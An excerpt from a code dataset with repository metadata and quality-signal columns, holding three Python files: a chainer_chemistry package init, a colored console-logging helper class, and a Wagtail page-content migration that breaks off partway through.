hexsha
string | size
int64 | ext
string | lang
string | max_stars_repo_path
string | max_stars_repo_name
string | max_stars_repo_head_hexsha
string | max_stars_repo_licenses
list | max_stars_count
int64 | max_stars_repo_stars_event_min_datetime
string | max_stars_repo_stars_event_max_datetime
string | max_issues_repo_path
string | max_issues_repo_name
string | max_issues_repo_head_hexsha
string | max_issues_repo_licenses
list | max_issues_count
int64 | max_issues_repo_issues_event_min_datetime
string | max_issues_repo_issues_event_max_datetime
string | max_forks_repo_path
string | max_forks_repo_name
string | max_forks_repo_head_hexsha
string | max_forks_repo_licenses
list | max_forks_count
int64 | max_forks_repo_forks_event_min_datetime
string | max_forks_repo_forks_event_max_datetime
string | content
string | avg_line_length
float64 | max_line_length
int64 | alphanum_fraction
float64 | qsc_code_num_words_quality_signal
int64 | qsc_code_num_chars_quality_signal
float64 | qsc_code_mean_word_length_quality_signal
float64 | qsc_code_frac_words_unique_quality_signal
float64 | qsc_code_frac_chars_top_2grams_quality_signal
float64 | qsc_code_frac_chars_top_3grams_quality_signal
float64 | qsc_code_frac_chars_top_4grams_quality_signal
float64 | qsc_code_frac_chars_dupe_5grams_quality_signal
float64 | qsc_code_frac_chars_dupe_6grams_quality_signal
float64 | qsc_code_frac_chars_dupe_7grams_quality_signal
float64 | qsc_code_frac_chars_dupe_8grams_quality_signal
float64 | qsc_code_frac_chars_dupe_9grams_quality_signal
float64 | qsc_code_frac_chars_dupe_10grams_quality_signal
float64 | qsc_code_frac_chars_replacement_symbols_quality_signal
float64 | qsc_code_frac_chars_digital_quality_signal
float64 | qsc_code_frac_chars_whitespace_quality_signal
float64 | qsc_code_size_file_byte_quality_signal
float64 | qsc_code_num_lines_quality_signal
float64 | qsc_code_num_chars_line_max_quality_signal
float64 | qsc_code_num_chars_line_mean_quality_signal
float64 | qsc_code_frac_chars_alphabet_quality_signal
float64 | qsc_code_frac_chars_comments_quality_signal
float64 | qsc_code_cate_xml_start_quality_signal
float64 | qsc_code_frac_lines_dupe_lines_quality_signal
float64 | qsc_code_cate_autogen_quality_signal
float64 | qsc_code_frac_lines_long_string_quality_signal
float64 | qsc_code_frac_chars_string_length_quality_signal
float64 | qsc_code_frac_chars_long_word_length_quality_signal
float64 | qsc_code_frac_lines_string_concat_quality_signal
float64 | qsc_code_cate_encoded_data_quality_signal
float64 | qsc_code_frac_chars_hex_words_quality_signal
float64 | qsc_code_frac_lines_prompt_comments_quality_signal
float64 | qsc_code_frac_lines_assert_quality_signal
float64 | qsc_codepython_cate_ast_quality_signal
float64 | qsc_codepython_frac_lines_func_ratio_quality_signal
float64 | qsc_codepython_cate_var_zero_quality_signal
bool | qsc_codepython_frac_lines_pass_quality_signal
float64 | qsc_codepython_frac_lines_import_quality_signal
float64 | qsc_codepython_frac_lines_simplefunc_quality_signal
float64 | qsc_codepython_score_lines_no_logic_quality_signal
float64 | qsc_codepython_frac_lines_print_quality_signal
float64 | qsc_code_num_words
int64 | qsc_code_num_chars
int64 | qsc_code_mean_word_length
int64 | qsc_code_frac_words_unique
null | qsc_code_frac_chars_top_2grams
int64 | qsc_code_frac_chars_top_3grams
int64 | qsc_code_frac_chars_top_4grams
int64 | qsc_code_frac_chars_dupe_5grams
int64 | qsc_code_frac_chars_dupe_6grams
int64 | qsc_code_frac_chars_dupe_7grams
int64 | qsc_code_frac_chars_dupe_8grams
int64 | qsc_code_frac_chars_dupe_9grams
int64 | qsc_code_frac_chars_dupe_10grams
int64 | qsc_code_frac_chars_replacement_symbols
int64 | qsc_code_frac_chars_digital
int64 | qsc_code_frac_chars_whitespace
int64 | qsc_code_size_file_byte
int64 | qsc_code_num_lines
int64 | qsc_code_num_chars_line_max
int64 | qsc_code_num_chars_line_mean
int64 | qsc_code_frac_chars_alphabet
int64 | qsc_code_frac_chars_comments
int64 | qsc_code_cate_xml_start
int64 | qsc_code_frac_lines_dupe_lines
int64 | qsc_code_cate_autogen
int64 | qsc_code_frac_lines_long_string
int64 | qsc_code_frac_chars_string_length
int64 | qsc_code_frac_chars_long_word_length
int64 | qsc_code_frac_lines_string_concat
null | qsc_code_cate_encoded_data
int64 | qsc_code_frac_chars_hex_words
int64 | qsc_code_frac_lines_prompt_comments
int64 | qsc_code_frac_lines_assert
int64 | qsc_codepython_cate_ast
int64 | qsc_codepython_frac_lines_func_ratio
int64 | qsc_codepython_cate_var_zero
int64 | qsc_codepython_frac_lines_pass
int64 | qsc_codepython_frac_lines_import
int64 | qsc_codepython_frac_lines_simplefunc
int64 | qsc_codepython_score_lines_no_logic
int64 | qsc_codepython_frac_lines_print
int64 | effective
string | hits
int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
35a00464c44dc26c50a8bb36a85d030989e109b4
| 762
|
py
|
Python
|
chainer_chemistry/datasets/molnet/__init__.py
|
jo7ueb/chainer-chemistry
|
74286aef6b53f272d1677b8e226bb7200a3922a8
|
[
"MIT"
] | 1
|
2019-06-19T00:05:59.000Z
|
2019-06-19T00:05:59.000Z
|
chainer_chemistry/datasets/molnet/__init__.py
|
nd-02110114/chainer-chemistry
|
04577ba920b46c7141d4f01e212f7040eb91db19
|
[
"MIT"
] | null | null | null |
chainer_chemistry/datasets/molnet/__init__.py
|
nd-02110114/chainer-chemistry
|
04577ba920b46c7141d4f01e212f7040eb91db19
|
[
"MIT"
] | 1
|
2020-10-12T07:23:44.000Z
|
2020-10-12T07:23:44.000Z
|
from chainer_chemistry.datasets.molnet import chembl_tasks # NOQA
from chainer_chemistry.datasets.molnet import molnet # NOQA
from chainer_chemistry.datasets.molnet import molnet_config # NOQA
from chainer_chemistry.datasets.molnet import pdbbind_time # NOQA
from chainer_chemistry.datasets.molnet import toxcast_tasks # NOQA
from chainer_chemistry.datasets.molnet.molnet import get_molnet_dataframe # NOQA
from chainer_chemistry.datasets.molnet.molnet import get_molnet_dataset # NOQA
from chainer_chemistry.datasets.molnet.molnet import get_molnet_filepath # NOQA
from chainer_chemistry.datasets.molnet.molnet import get_grid_featurized_pdbbind_dataset # NOQA
from chainer_chemistry.datasets.molnet.molnet_config import molnet_default_config # NOQA
| 63.5
| 96
| 0.860892
| 102
| 762
| 6.166667
| 0.196078
| 0.174881
| 0.317965
| 0.445151
| 0.836248
| 0.836248
| 0.772655
| 0.616852
| 0.36566
| 0.281399
| 0
| 0
| 0.093176
| 762
| 11
| 97
| 69.272727
| 0.910275
| 0.064304
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 7
|
ea63b3a9469a0e304802e21a8992933ce9ed64f2
| 879
|
py
|
Python
|
Hardware/Actuator/NomadBLDC/Tools/LogPrint.py
|
implementedrobotics/Nomad
|
de8c27ed79cdcde59b1fd6e9a0865d29b84b7d58
|
[
"MIT"
] | 31
|
2019-08-11T18:24:54.000Z
|
2022-03-08T01:22:55.000Z
|
Hardware/Actuator/NomadBLDC/Tools/LogPrint.py
|
implementedrobotics/Nomad
|
de8c27ed79cdcde59b1fd6e9a0865d29b84b7d58
|
[
"MIT"
] | 15
|
2019-05-29T12:57:20.000Z
|
2020-09-29T02:26:06.000Z
|
Hardware/Actuator/NomadBLDC/Tools/LogPrint.py
|
implementedrobotics/Nomad
|
de8c27ed79cdcde59b1fd6e9a0865d29b84b7d58
|
[
"MIT"
] | 11
|
2019-08-12T03:05:06.000Z
|
2022-01-09T05:34:16.000Z
|
import sys
class LogPrint:
@staticmethod
def print_fail(message, end = '\n'):
sys.stderr.write('\x1b[1;31m' + '[ERROR]: ' + message.strip() + '\x1b[0m' + end)
@staticmethod
def print_pass(message, end = '\n'):
sys.stdout.write('\x1b[1;32m' + '[PASS]: ' + message.strip() + '\x1b[0m' + end)
@staticmethod
def print_warn(message, end = '\n'):
sys.stderr.write('\x1b[1;33m' + '[WARN]: ' + message.strip() + '\x1b[0m' + end)
@staticmethod
def print_info(message, end = '\n'):
sys.stdout.write('\x1b[1;34m' + '[INFO]: ' + message.strip() + '\x1b[0m' + end)
@staticmethod
def print_bold(message, end = '\n'):
sys.stdout.write('\x1b[1;37m' + '[ATTENTION]: ' + message.strip() + '\x1b[0m' + end)
@staticmethod
def print(message, end = '\n'):
sys.stdout.write(message.strip() + end)
| 33.807692
| 92
| 0.560865
| 111
| 879
| 4.396396
| 0.261261
| 0.184426
| 0.245902
| 0.172131
| 0.758197
| 0.758197
| 0.706967
| 0.706967
| 0
| 0
| 0
| 0.044053
| 0.225256
| 879
| 26
| 93
| 33.807692
| 0.67254
| 0
| 0
| 0.3
| 0
| 0
| 0.1625
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.3
| false
| 0.1
| 0.05
| 0
| 0.4
| 0.3
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 7
|
ea85c7f75b903d136f6c713db37359c4bd28013a
| 282,643
|
py
|
Python
|
src/xr_pages/migrations/0045_streamfield_update.py
|
xr-web-de/xr-web
|
63269e26a8752564b63e84bfc0ce180198577d35
|
[
"MIT"
] | 4
|
2019-03-28T20:49:59.000Z
|
2019-08-11T19:31:35.000Z
|
src/xr_pages/migrations/0045_streamfield_update.py
|
xr-web-de/xr-web
|
63269e26a8752564b63e84bfc0ce180198577d35
|
[
"MIT"
] | 4
|
2019-05-08T18:07:45.000Z
|
2021-05-08T17:29:46.000Z
|
src/xr_pages/migrations/0045_streamfield_update.py
|
xr-web-de/xr-web
|
63269e26a8752564b63e84bfc0ce180198577d35
|
[
"MIT"
] | 5
|
2019-03-28T20:50:15.000Z
|
2020-01-17T21:16:57.000Z
|
# Generated by Django 2.1.7 on 2019-06-04 21:29
from django.db import migrations, models
import wagtail.core.blocks
import wagtail.core.fields
import wagtail.embeds.blocks
import wagtail.images.blocks
class Migration(migrations.Migration):
dependencies = [("xr_pages", "0044_localgroup_pgp_key_id")]
operations = [
migrations.AlterField(
model_name="homepage",
name="content",
field=wagtail.core.fields.StreamField(
[
(
"title",
wagtail.core.blocks.StructBlock(
[
("title", wagtail.core.blocks.CharBlock()),
(
"font_color",
wagtail.core.blocks.ChoiceBlock(
choices=[
("xr-green", "XR green"),
("xr-yellow", "XR yellow"),
("xr-light-blue", "XR light blue"),
("xr-dark-blue", "XR dark blue"),
("xr-purple", "XR purple"),
("xr-pink", "XR pink"),
("xr-light-grey", "XR light grey"),
("xr-grey", "XR grey"),
("xr-dark-grey", "XR dark grey"),
("xr-white", "XR white"),
("xr-black", "XR black"),
]
),
),
(
"align",
wagtail.core.blocks.ChoiceBlock(
choices=[
("center", "Center"),
("left", "Left"),
],
help_text="Choose the alignment of the block.",
),
),
]
),
),
(
"text",
wagtail.core.blocks.StructBlock(
[
(
"heading",
wagtail.core.blocks.CharBlock(
help_text="An optional heading, which is displayed above the block's content.",
required=False,
),
),
(
"text",
wagtail.core.blocks.RichTextBlock(
features=[
"h2",
"h3",
"h4",
"bold",
"italic",
"ul",
"ol",
"hr",
"link",
"document-link",
],
help_text="Simple richtext with basic formatting. Use links in order to connect related pages frequently. Ordered lists are rendered with big numbers.For images and videos use the image and video blocks.",
),
),
]
),
),
(
"image",
wagtail.core.blocks.StructBlock(
[
(
"heading",
wagtail.core.blocks.CharBlock(
help_text="An optional heading, which is displayed above the block's content.",
required=False,
),
),
("image", wagtail.images.blocks.ImageChooserBlock()),
(
"alternative_title",
wagtail.core.blocks.CharBlock(
help_text="An optional alternative title, which is displayed on hover. If not given, the image's title attribute will be used instead.",
required=False,
),
),
(
"background_color",
wagtail.core.blocks.ChoiceBlock(
choices=[
("xr-green", "XR green"),
("xr-yellow", "XR yellow"),
("xr-light-blue", "XR light blue"),
("xr-dark-blue", "XR dark blue"),
("xr-purple", "XR purple"),
("xr-pink", "XR pink"),
("xr-light-grey", "XR light grey"),
("xr-grey", "XR grey"),
("xr-dark-grey", "XR dark grey"),
("xr-white", "XR white"),
("xr-black", "XR black"),
]
),
),
(
"attribution",
wagtail.core.blocks.CharBlock(
help_text="An optional copyright or attribution text, which is displayed at the bottom right of the image.",
required=False,
),
),
(
"caption",
wagtail.core.blocks.CharBlock(
help_text="An optional caption, which is displayed below the block's content.",
required=False,
),
),
(
"description",
wagtail.core.blocks.TextBlock(
help_text="An optional description, which is displayed below the block's caption.",
required=False,
),
),
(
"link",
wagtail.core.blocks.StructBlock(
[
(
"internal_link",
wagtail.core.blocks.PageChooserBlock(
help_text='Link to an internal page. Is overwritten by "external link".',
required=False,
),
),
(
"external_link",
wagtail.core.blocks.URLBlock(
help_text='Link to an external page (https://...). Overwrites "internal link".',
required=False,
),
),
],
required=False,
),
),
(
"align",
wagtail.core.blocks.ChoiceBlock(
choices=[
("center", "Center"),
("full_content", "Full content"),
("left", "Left"),
("right", "Right"),
("full_page", "Full page"),
],
help_text="Choose the alignment of the block.",
),
),
]
),
),
(
"teaser",
wagtail.core.blocks.StructBlock(
[
(
"heading",
wagtail.core.blocks.CharBlock(
help_text="An optional heading, which is displayed above the block's content.",
required=False,
),
),
("page", wagtail.core.blocks.PageChooserBlock()),
(
"caption",
wagtail.core.blocks.CharBlock(
help_text="An optional caption, which is displayed below the block's content. Overwrites the page title of the linked page.",
required=False,
),
),
(
"description",
wagtail.core.blocks.TextBlock(
help_text="An optional description, which is displayed below the block's caption. Overwrites the page description of the linked page.",
required=False,
),
),
(
"align",
wagtail.core.blocks.ChoiceBlock(
choices=[
("center", "Center"),
("full_content", "Full content"),
("left", "Left"),
("right", "Right"),
("full_page", "Full page"),
],
help_text="Choose the alignment of the block.",
),
),
]
),
),
(
"video",
wagtail.core.blocks.StructBlock(
[
(
"heading",
wagtail.core.blocks.CharBlock(
help_text="An optional heading, which is displayed above the block's content.",
required=False,
),
),
("video", wagtail.embeds.blocks.EmbedBlock()),
(
"caption",
wagtail.core.blocks.CharBlock(
help_text="An optional caption, which is displayed below the block's content.",
required=False,
),
),
(
"description",
wagtail.core.blocks.TextBlock(
help_text="An optional description, which is displayed below the block's caption.",
required=False,
),
),
(
"align",
wagtail.core.blocks.ChoiceBlock(
choices=[
("center", "Center"),
("full_content", "Full content"),
("left", "Left"),
("right", "Right"),
("full_page", "Full page"),
],
help_text="Choose the alignment of the block.",
),
),
]
),
),
(
"slogan",
wagtail.core.blocks.StructBlock(
[
(
"heading",
wagtail.core.blocks.CharBlock(
help_text="An optional heading, which is displayed above the block's content.",
required=False,
),
),
(
"text",
wagtail.core.blocks.TextBlock(
help_text="The text is displayed centered and linebreaks will be preserved.",
required=False,
rows=1,
),
),
(
"font_size",
wagtail.core.blocks.IntegerBlock(
default=40,
help_text="Adjust the font size to fit your needs. Use the preview feature to see how big the font will be rendered.",
),
),
(
"font_color",
wagtail.core.blocks.ChoiceBlock(
choices=[
("xr-green", "XR green"),
("xr-yellow", "XR yellow"),
("xr-light-blue", "XR light blue"),
("xr-dark-blue", "XR dark blue"),
("xr-purple", "XR purple"),
("xr-pink", "XR pink"),
("xr-light-grey", "XR light grey"),
("xr-grey", "XR grey"),
("xr-dark-grey", "XR dark grey"),
("xr-white", "XR white"),
("xr-black", "XR black"),
]
),
),
(
"background_color",
wagtail.core.blocks.ChoiceBlock(
choices=[
("xr-green", "XR green"),
("xr-yellow", "XR yellow"),
("xr-light-blue", "XR light blue"),
("xr-dark-blue", "XR dark blue"),
("xr-purple", "XR purple"),
("xr-pink", "XR pink"),
("xr-light-grey", "XR light grey"),
("xr-grey", "XR grey"),
("xr-dark-grey", "XR dark grey"),
("xr-white", "XR white"),
("xr-black", "XR black"),
]
),
),
(
"background_image",
wagtail.images.blocks.ImageChooserBlock(
required=False
),
),
(
"caption",
wagtail.core.blocks.CharBlock(
help_text="An optional caption, which is displayed below the block's content.",
required=False,
),
),
(
"description",
wagtail.core.blocks.TextBlock(
help_text="An optional description, which is displayed below the block's caption.",
required=False,
),
),
(
"link",
wagtail.core.blocks.StructBlock(
[
(
"internal_link",
wagtail.core.blocks.PageChooserBlock(
help_text='Link to an internal page. Is overwritten by "external link".',
required=False,
),
),
(
"external_link",
wagtail.core.blocks.URLBlock(
help_text='Link to an external page (https://...). Overwrites "internal link".',
required=False,
),
),
]
),
),
(
"align",
wagtail.core.blocks.ChoiceBlock(
choices=[
("center", "Center"),
("full_content", "Full content"),
("left", "Left"),
("right", "Right"),
("full_page", "Full page"),
],
help_text="Choose the alignment of the block.",
),
),
]
),
),
(
"form",
wagtail.core.blocks.StructBlock(
[
(
"heading",
wagtail.core.blocks.CharBlock(
help_text="An optional heading, which is displayed above the block's content.",
required=False,
),
),
(
"form_page",
wagtail.core.blocks.PageChooserBlock(
[
"xr_newsletter.EmailFormPage",
"xr_newsletter.NewsletterFormPage",
]
),
),
(
"font_color",
wagtail.core.blocks.ChoiceBlock(
choices=[
("xr-green", "XR green"),
("xr-yellow", "XR yellow"),
("xr-light-blue", "XR light blue"),
("xr-dark-blue", "XR dark blue"),
("xr-purple", "XR purple"),
("xr-pink", "XR pink"),
("xr-light-grey", "XR light grey"),
("xr-grey", "XR grey"),
("xr-dark-grey", "XR dark grey"),
("xr-white", "XR white"),
("xr-black", "XR black"),
]
),
),
(
"background_color",
wagtail.core.blocks.ChoiceBlock(
choices=[
("xr-green", "XR green"),
("xr-yellow", "XR yellow"),
("xr-light-blue", "XR light blue"),
("xr-dark-blue", "XR dark blue"),
("xr-purple", "XR purple"),
("xr-pink", "XR pink"),
("xr-light-grey", "XR light grey"),
("xr-grey", "XR grey"),
("xr-dark-grey", "XR dark grey"),
("xr-white", "XR white"),
("xr-black", "XR black"),
]
),
),
(
"caption",
wagtail.core.blocks.CharBlock(
help_text="An optional caption, which is displayed below the block's content.",
required=False,
),
),
(
"description",
wagtail.core.blocks.TextBlock(
help_text="An optional description, which is displayed below the block's caption.",
required=False,
),
),
]
),
),
(
"grid",
wagtail.core.blocks.StructBlock(
[
(
"heading",
wagtail.core.blocks.CharBlock(
help_text="An optional heading, which is displayed above the block's content.",
required=False,
),
),
(
"items",
wagtail.core.blocks.StreamBlock(
[
(
"teaser",
wagtail.core.blocks.StructBlock(
[
(
"heading",
wagtail.core.blocks.CharBlock(
help_text="An optional heading, which is displayed above the block's content.",
required=False,
),
),
(
"page",
wagtail.core.blocks.PageChooserBlock(),
),
(
"caption",
wagtail.core.blocks.CharBlock(
help_text="An optional caption, which is displayed below the block's content. Overwrites the page title of the linked page.",
required=False,
),
),
(
"description",
wagtail.core.blocks.TextBlock(
help_text="An optional description, which is displayed below the block's caption. Overwrites the page description of the linked page.",
required=False,
),
),
]
),
),
(
"image",
wagtail.core.blocks.StructBlock(
[
(
"heading",
wagtail.core.blocks.CharBlock(
help_text="An optional heading, which is displayed above the block's content.",
required=False,
),
),
(
"image",
wagtail.images.blocks.ImageChooserBlock(),
),
(
"alternative_title",
wagtail.core.blocks.CharBlock(
help_text="An optional alternative title, which is displayed on hover. If not given, the image's title attribute will be used instead.",
required=False,
),
),
(
"background_color",
wagtail.core.blocks.ChoiceBlock(
choices=[
(
"xr-green",
"XR green",
),
(
"xr-yellow",
"XR yellow",
),
(
"xr-light-blue",
"XR light blue",
),
(
"xr-dark-blue",
"XR dark blue",
),
(
"xr-purple",
"XR purple",
),
(
"xr-pink",
"XR pink",
),
(
"xr-light-grey",
"XR light grey",
),
(
"xr-grey",
"XR grey",
),
(
"xr-dark-grey",
"XR dark grey",
),
(
"xr-white",
"XR white",
),
(
"xr-black",
"XR black",
),
]
),
),
(
"attribution",
wagtail.core.blocks.CharBlock(
help_text="An optional copyright or attribution text, which is displayed at the bottom right of the image.",
required=False,
),
),
(
"caption",
wagtail.core.blocks.CharBlock(
help_text="An optional caption, which is displayed below the block's content.",
required=False,
),
),
(
"description",
wagtail.core.blocks.TextBlock(
help_text="An optional description, which is displayed below the block's caption.",
required=False,
),
),
(
"link",
wagtail.core.blocks.StructBlock(
[
(
"internal_link",
wagtail.core.blocks.PageChooserBlock(
help_text='Link to an internal page. Is overwritten by "external link".',
required=False,
),
),
(
"external_link",
wagtail.core.blocks.URLBlock(
help_text='Link to an external page (https://...). Overwrites "internal link".',
required=False,
),
),
],
required=False,
),
),
]
),
),
(
"video",
wagtail.core.blocks.StructBlock(
[
(
"heading",
wagtail.core.blocks.CharBlock(
help_text="An optional heading, which is displayed above the block's content.",
required=False,
),
),
(
"video",
wagtail.embeds.blocks.EmbedBlock(),
),
(
"caption",
wagtail.core.blocks.CharBlock(
help_text="An optional caption, which is displayed below the block's content.",
required=False,
),
),
(
"description",
wagtail.core.blocks.TextBlock(
help_text="An optional description, which is displayed below the block's caption.",
required=False,
),
),
]
),
),
(
"slogan",
wagtail.core.blocks.StructBlock(
[
(
"heading",
wagtail.core.blocks.CharBlock(
help_text="An optional heading, which is displayed above the block's content.",
required=False,
),
),
(
"text",
wagtail.core.blocks.TextBlock(
help_text="The text is displayed centered and linebreaks will be preserved.",
required=False,
rows=1,
),
),
(
"font_size",
wagtail.core.blocks.IntegerBlock(
default=40,
help_text="Adjust the font size to fit your needs. Use the preview feature to see how big the font will be rendered.",
),
),
(
"font_color",
wagtail.core.blocks.ChoiceBlock(
choices=[
(
"xr-green",
"XR green",
),
(
"xr-yellow",
"XR yellow",
),
(
"xr-light-blue",
"XR light blue",
),
(
"xr-dark-blue",
"XR dark blue",
),
(
"xr-purple",
"XR purple",
),
(
"xr-pink",
"XR pink",
),
(
"xr-light-grey",
"XR light grey",
),
(
"xr-grey",
"XR grey",
),
(
"xr-dark-grey",
"XR dark grey",
),
(
"xr-white",
"XR white",
),
(
"xr-black",
"XR black",
),
]
),
),
(
"background_color",
wagtail.core.blocks.ChoiceBlock(
choices=[
(
"xr-green",
"XR green",
),
(
"xr-yellow",
"XR yellow",
),
(
"xr-light-blue",
"XR light blue",
),
(
"xr-dark-blue",
"XR dark blue",
),
(
"xr-purple",
"XR purple",
),
(
"xr-pink",
"XR pink",
),
(
"xr-light-grey",
"XR light grey",
),
(
"xr-grey",
"XR grey",
),
(
"xr-dark-grey",
"XR dark grey",
),
(
"xr-white",
"XR white",
),
(
"xr-black",
"XR black",
),
]
),
),
(
"background_image",
wagtail.images.blocks.ImageChooserBlock(
required=False
),
),
(
"caption",
wagtail.core.blocks.CharBlock(
help_text="An optional caption, which is displayed below the block's content.",
required=False,
),
),
(
"description",
wagtail.core.blocks.TextBlock(
help_text="An optional description, which is displayed below the block's caption.",
required=False,
),
),
(
"link",
wagtail.core.blocks.StructBlock(
[
(
"internal_link",
wagtail.core.blocks.PageChooserBlock(
help_text='Link to an internal page. Is overwritten by "external link".',
required=False,
),
),
(
"external_link",
wagtail.core.blocks.URLBlock(
help_text='Link to an external page (https://...). Overwrites "internal link".',
required=False,
),
),
]
),
),
]
),
),
]
),
),
(
"columns",
wagtail.core.blocks.ChoiceBlock(
choices=[(2, "2"), (3, "3"), (4, "4")]
),
),
(
"font_color",
wagtail.core.blocks.ChoiceBlock(
choices=[
("xr-green", "XR green"),
("xr-yellow", "XR yellow"),
("xr-light-blue", "XR light blue"),
("xr-dark-blue", "XR dark blue"),
("xr-purple", "XR purple"),
("xr-pink", "XR pink"),
("xr-light-grey", "XR light grey"),
("xr-grey", "XR grey"),
("xr-dark-grey", "XR dark grey"),
("xr-white", "XR white"),
("xr-black", "XR black"),
]
),
),
(
"background_color",
wagtail.core.blocks.ChoiceBlock(
choices=[
("xr-green", "XR green"),
("xr-yellow", "XR yellow"),
("xr-light-blue", "XR light blue"),
("xr-dark-blue", "XR dark blue"),
("xr-purple", "XR purple"),
("xr-pink", "XR pink"),
("xr-light-grey", "XR light grey"),
("xr-grey", "XR grey"),
("xr-dark-grey", "XR dark grey"),
("xr-white", "XR white"),
("xr-black", "XR black"),
]
),
),
]
),
),
],
blank=True,
),
),
migrations.AlterField(
model_name="homesubpage",
name="content",
field=wagtail.core.fields.StreamField(
[
(
"title",
wagtail.core.blocks.StructBlock(
[
("title", wagtail.core.blocks.CharBlock()),
(
"font_color",
wagtail.core.blocks.ChoiceBlock(
choices=[
("xr-green", "XR green"),
("xr-yellow", "XR yellow"),
("xr-light-blue", "XR light blue"),
("xr-dark-blue", "XR dark blue"),
("xr-purple", "XR purple"),
("xr-pink", "XR pink"),
("xr-light-grey", "XR light grey"),
("xr-grey", "XR grey"),
("xr-dark-grey", "XR dark grey"),
("xr-white", "XR white"),
("xr-black", "XR black"),
]
),
),
(
"align",
wagtail.core.blocks.ChoiceBlock(
choices=[
("center", "Center"),
("left", "Left"),
],
help_text="Choose the alignment of the block.",
),
),
]
),
),
(
"text",
wagtail.core.blocks.StructBlock(
[
(
"heading",
wagtail.core.blocks.CharBlock(
help_text="An optional heading, which is displayed above the block's content.",
required=False,
),
),
(
"text",
wagtail.core.blocks.RichTextBlock(
features=[
"h2",
"h3",
"h4",
"bold",
"italic",
"ul",
"ol",
"hr",
"link",
"document-link",
],
help_text="Simple richtext with basic formatting. Use links in order to connect related pages frequently. Ordered lists are rendered with big numbers.For images and videos use the image and video blocks.",
),
),
]
),
),
(
"image",
wagtail.core.blocks.StructBlock(
[
(
"heading",
wagtail.core.blocks.CharBlock(
help_text="An optional heading, which is displayed above the block's content.",
required=False,
),
),
("image", wagtail.images.blocks.ImageChooserBlock()),
(
"alternative_title",
wagtail.core.blocks.CharBlock(
help_text="An optional alternative title, which is displayed on hover. If not given, the image's title attribute will be used instead.",
required=False,
),
),
(
"background_color",
wagtail.core.blocks.ChoiceBlock(
choices=[
("xr-green", "XR green"),
("xr-yellow", "XR yellow"),
("xr-light-blue", "XR light blue"),
("xr-dark-blue", "XR dark blue"),
("xr-purple", "XR purple"),
("xr-pink", "XR pink"),
("xr-light-grey", "XR light grey"),
("xr-grey", "XR grey"),
("xr-dark-grey", "XR dark grey"),
("xr-white", "XR white"),
("xr-black", "XR black"),
]
),
),
(
"attribution",
wagtail.core.blocks.CharBlock(
help_text="An optional copyright or attribution text, which is displayed at the bottom right of the image.",
required=False,
),
),
(
"caption",
wagtail.core.blocks.CharBlock(
help_text="An optional caption, which is displayed below the block's content.",
required=False,
),
),
(
"description",
wagtail.core.blocks.TextBlock(
help_text="An optional description, which is displayed below the block's caption.",
required=False,
),
),
(
"link",
wagtail.core.blocks.StructBlock(
[
(
"internal_link",
wagtail.core.blocks.PageChooserBlock(
help_text='Link to an internal page. Is overwritten by "external link".',
required=False,
),
),
(
"external_link",
wagtail.core.blocks.URLBlock(
help_text='Link to an external page (https://...). Overwrites "internal link".',
required=False,
),
),
],
required=False,
),
),
(
"align",
wagtail.core.blocks.ChoiceBlock(
choices=[
("center", "Center"),
("full_content", "Full content"),
("left", "Left"),
("right", "Right"),
("full_page", "Full page"),
],
help_text="Choose the alignment of the block.",
),
),
]
),
),
(
"teaser",
wagtail.core.blocks.StructBlock(
[
(
"heading",
wagtail.core.blocks.CharBlock(
help_text="An optional heading, which is displayed above the block's content.",
required=False,
),
),
("page", wagtail.core.blocks.PageChooserBlock()),
(
"caption",
wagtail.core.blocks.CharBlock(
help_text="An optional caption, which is displayed below the block's content. Overwrites the page title of the linked page.",
required=False,
),
),
(
"description",
wagtail.core.blocks.TextBlock(
help_text="An optional description, which is displayed below the block's caption. Overwrites the page description of the linked page.",
required=False,
),
),
(
"align",
wagtail.core.blocks.ChoiceBlock(
choices=[
("center", "Center"),
("full_content", "Full content"),
("left", "Left"),
("right", "Right"),
("full_page", "Full page"),
],
help_text="Choose the alignment of the block.",
),
),
]
),
),
(
"video",
wagtail.core.blocks.StructBlock(
[
(
"heading",
wagtail.core.blocks.CharBlock(
help_text="An optional heading, which is displayed above the block's content.",
required=False,
),
),
("video", wagtail.embeds.blocks.EmbedBlock()),
(
"caption",
wagtail.core.blocks.CharBlock(
help_text="An optional caption, which is displayed below the block's content.",
required=False,
),
),
(
"description",
wagtail.core.blocks.TextBlock(
help_text="An optional description, which is displayed below the block's caption.",
required=False,
),
),
(
"align",
wagtail.core.blocks.ChoiceBlock(
choices=[
("center", "Center"),
("full_content", "Full content"),
("left", "Left"),
("right", "Right"),
("full_page", "Full page"),
],
help_text="Choose the alignment of the block.",
),
),
]
),
),
(
"slogan",
wagtail.core.blocks.StructBlock(
[
(
"heading",
wagtail.core.blocks.CharBlock(
help_text="An optional heading, which is displayed above the block's content.",
required=False,
),
),
(
"text",
wagtail.core.blocks.TextBlock(
help_text="The text is displayed centered and linebreaks will be preserved.",
required=False,
rows=1,
),
),
(
"font_size",
wagtail.core.blocks.IntegerBlock(
default=40,
help_text="Adjust the font size to fit your needs. Use the preview feature to see how big the font will be rendered.",
),
),
(
"font_color",
wagtail.core.blocks.ChoiceBlock(
choices=[
("xr-green", "XR green"),
("xr-yellow", "XR yellow"),
("xr-light-blue", "XR light blue"),
("xr-dark-blue", "XR dark blue"),
("xr-purple", "XR purple"),
("xr-pink", "XR pink"),
("xr-light-grey", "XR light grey"),
("xr-grey", "XR grey"),
